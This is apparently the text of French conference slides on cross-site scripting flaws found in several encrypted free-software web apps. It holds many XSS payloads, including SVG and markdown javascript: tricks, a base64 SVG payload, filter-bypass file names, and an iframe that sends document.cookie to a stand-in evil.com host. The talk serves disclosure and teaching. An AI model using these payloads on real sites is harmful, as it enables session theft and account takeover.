Capitole du Libre - Toulouse
18/11/17
Coprésident de Framasoft
Data Scientist en Freelance
Cherche un doctorat en Sécurité du Machine Learning
Ex-Mozilla Fellow chez Derechos Digitales (Chili)
framartin@framasoft.org
@framart1
<iframe width='0' height='0' frameborder='0'
src='<script>document.location='
http://evil.com/collect_cookie.php?cookie=
'+escape(document.cookie);</script>' />
Attention à ne pas minimiser l'impact
<i>coucou</i>
<i>coucou</i>
<script>alert(h4ck3d)</script>
<<SCRIPT>alert("XSS")<</SCRIPT>
<IMG src=x onerror="javascript:alert('XSS')"
Application web d'hébergement d'images
chiffrées côté serveur.
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
<script type="text/javascript">
alert('This app is probably vulnerable to XSS attacks!');
</script>
</svg>
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<use xlink:href="data:application/xml;base64 ,
PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hsaW5rIj4KPGRlZnM+CjxjaXJjbGUgaWQ9InRlc3QiIHI9IjUwIiBjeD0iMTAwIiBjeT0iMTAwIiBzdHlsZT0iZmlsbDogI0YwMCI+CjxzZXQgYXR0cmlidXRlTmFtZT0iZmlsbCIgYXR0cmlidXRlVHlwZT0iQ1NTIiBvbmJlZ2luPSdhbGVydChkb2N1bWVudC5jb29r
aWUpJwpvbmVuZD0nYWxlcnQoIm9uZW5kIiknIHRvPSIjMDBGIiBiZWdpbj0iMXMiIGR1cj0iNXMiIC
8+CjwvY2lyY2xlPgo8L2RlZnM+Cjx1c2UgeGxpbms6aHJlZj0iI3Rlc3QiLz4KPC9zdmc+#test"/>
</svg>
Éditeur collaboratif en temps réel, zero knowledge
Différence entre sécurité et chiffrement/0-knowledge
(Mais CryptPad est clair sur ce point :
https://blog.cryptpad.fr/2017/03/24/What-is-Zero-Knowledge/ )
<img src=x onerror=alert()>
Application Web de prise de décision.
Démonstrations en vidéo
Attention !
https://github.com/showdownjs/showdown/wiki/Markdown%27s-XSS-Vulnerability-(and-how-to-mitigate-it)
[URL](javascript:alert(0))
[URL](JaVaScRiPt:alert(0))
[URL](javascript:alert(0))
[URL](javascript:alert(0\))
[URL](vbscript:alert)
[URL](javascript:alert(1))
[URL](Javascript:alert(0))
Application Web alternative à Evernote chiffrée
« sécurisée » qui peut stocker textes, images, fichiers, URL, mots de passe, etc.
Très peu d’interaction de l'utilisateur.
<img src=x onerror=alert(0)>
Tout ce qu'il ne faut pas faire !
Et encore 10 XSS non corrigées et signalées depuis plus de 7 mois, malgré les relances...
:(
Les XSS ont des sources diverses.
Ne pas faire de filtrage à la main.
>'>"><img src=x onerror=alert(0)>
>'>"><img src=x onerror=alert(0)>.png
javascript:alert(0)